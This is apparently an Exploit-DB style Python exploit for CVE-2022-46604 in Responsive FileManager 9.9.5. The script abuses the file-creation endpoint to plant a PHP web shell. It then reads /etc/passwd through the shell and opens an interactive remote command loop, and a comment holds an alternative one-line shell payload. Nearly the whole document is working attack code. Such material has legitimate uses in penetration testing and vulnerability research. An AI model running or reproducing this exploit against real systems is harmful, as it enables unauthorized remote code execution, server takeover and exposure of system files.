1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 |
# Exploit Title: Responsive FileManager 9.9.5 - Remote Code Execution (RCE) # Date: 02-Feb-2023 # Exploit Author: Galoget Latorre (@galoget) # Vendor Homepage: https://responsivefilemanager.com # Software Link: https://github.com/trippo/ResponsiveFilemanager/releases/download/v9.9.5/responsive_filemanager.zip # Dockerfile: https://github.com/galoget/ResponsiveFileManager-CVE-2022-46604 # Version: 9.9.5 # Language: Python 3.x # Tested on: #- Ubuntu 22.04.5 LTS 64-bit #- Debian GNU/Linux 10 (buster) 64-bit #- Kali GNU/Linux 2022.3 64-bit # CVE: CVE-2022-46604 (Konstantin Burov) #!/usr/bin/python3 # -*- coding:utf-8 -*- import sys import requests from bs4 import BeautifulSoup from termcolor import colored, cprint # Usage: python3 exploit.py <target.site> # Example: python3 exploit.py 127.0.0.1 def banner(): """ Function to print the banner """ banner_text = """ _____ _____ _____ ___ ___ ___ ___ ___ ___ ___ ___ ___ | ||| __| ___ |_| |_|_| ___ | | |_|_| | | | | --||| __||___||_| | |_|_||___||_| . | . | | |_| |_____|\\___/|_____| |___|___|___|___| |_|___|___|___| |_| File Creation Extension Bypass in Responsive FileManager ≤ 9.9.5 (RCE) Exploit Author: Galoget Latorre (@galoget) CVE Author: Konstantin Burov """ print(banner_text) def usage_instructions(): """ Function that validates the number of arguments. The aplication MUST have 2 arguments: - [0]: Name of the script - [1]: Target site, which can be a domain or an IP Address """ if len(sys.argv) != 2: print("Usage: python3 exploit.py <target.site>") print("Example: python3 exploit.py 127.0.0.1") sys.exit(0) def run_command(web_session, webshell_url, command_to_run): """ Function that: - Interacts with the webshell to run a command - Cleans the response of the webshell - Returns the response object and the output of the command """ webshell_response = web_session.get(url = webshell_url + f"?cmd={command_to_run}", headers = headers) command_output_soup = BeautifulSoup(webshell_response.text, 'html.parser') return (webshell_response, command_output_soup.find('pre').text) if __name__ == "__main__": banner() usage_instructions() # Change this with the domain or IP address to attack if sys.argv[1]: host = sys.argv[1] else: host = "127.0.0.1" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36', } # URL to create a new file target_url = f"http://{host}/filemanager/execute.php?action=create_file" # Change this to customize the payload (i.e. The content of the malicious file that will be created) payload = "<html><body><form method=\"GET\" name=\"<?php echo basename($_SERVER['PHP_SELF']); ?>\"><input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\"><input type=\"SUBMIT\" value=\"Execute\"></form><pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?></pre></body></html>" # oneliner_payload = " <?=<code>$_GET[_]</code>?>" # URL to get a PHPSESSID value cookie_url = f"http://{host}/filemanager/dialog.php" # New Session session = requests.Session() # GET request to retrieve a PHPSESSID value cprint(f"[*] Trying to get a PHPSESSID at {host}", "blue") try: session.get(url = cookie_url, headers = headers) except: cprint(f"[-] Something went wrong when trying to connect to '{host}'.", "red") sys.exit(0) if session.cookies.get_dict(): cprint("[+] PHPSESSID retrieved correctly.", "green") cprint(f"[!] PHPSESSID: {session.cookies.get_dict()['PHPSESSID']}", "yellow") else: cprint("[-] Something went wrong when trying to get a PHPSESSID.", "red") # Params, rename if you want params = {"path": "shell.php", "path_thumb": "../thumbs/shell.php", "name": "shell.txt", "new_content": payload} # POST request to create the webshell cprint(f"\n[*] Attempting to create a webshell on {host}", "blue") response = session.post(url = target_url, headers = headers, data = params) # If the status code and the message match, we may have a webshell inside. ;) if response.status_code == 200 and response.text == "File successfully saved.": # Default webshell path shell_url = f"http://{host}/source/shell.php" # Verify if the shell was uploaded by running whoami and cat /etc/passwd webshell, whoami_output = run_command(session, shell_url, "whoami") webshell, passwd_output = run_command(session, shell_url, "cat /etc/passwd") # Common users when getting a webshell common_users = ["www-data", "apache", "nobody", "apache2", "root", "administrator", "admin"] # Verify if the command was executed correctly if webshell.status_code == 200 or whoami_output.lower() in common_users or "root:x::" in passwd_output: cprint("[+] Webshell uploaded - Enjoy!", "green") cprint(f"[!] Webshell available at '{shell_url}' - Enjoy!", "yellow") cprint(f"[+] Running <code>whoami</code> command: {whoami_output}", "green") # Ask to enter into a pseudo-interactive mode with the webshell answer = input(colored("Do you want to enter into interactive mode with the webshell? (Y/N): ", "magenta")) if answer.upper() == "Y": cprint("\n[*] Entering into interactive mode, write 'exit' to quit.\n", "blue") command = "" while command != "exit": command = input(colored(">> ", "cyan")).lower() webshell, command_output = run_command(session, shell_url, command) if command != "exit": cprint(command_output, "cyan") cprint("\n[*] Exiting...Bye!", "blue") elif response.status_code == 403 and response.text == "The file is already existing": cprint("[-] The file that you're trying to create is already on the server.", "red") else: cprint(f"[-] The server returned Status Code: '{response.status_code}' and this text: '{response.text}'", "red") |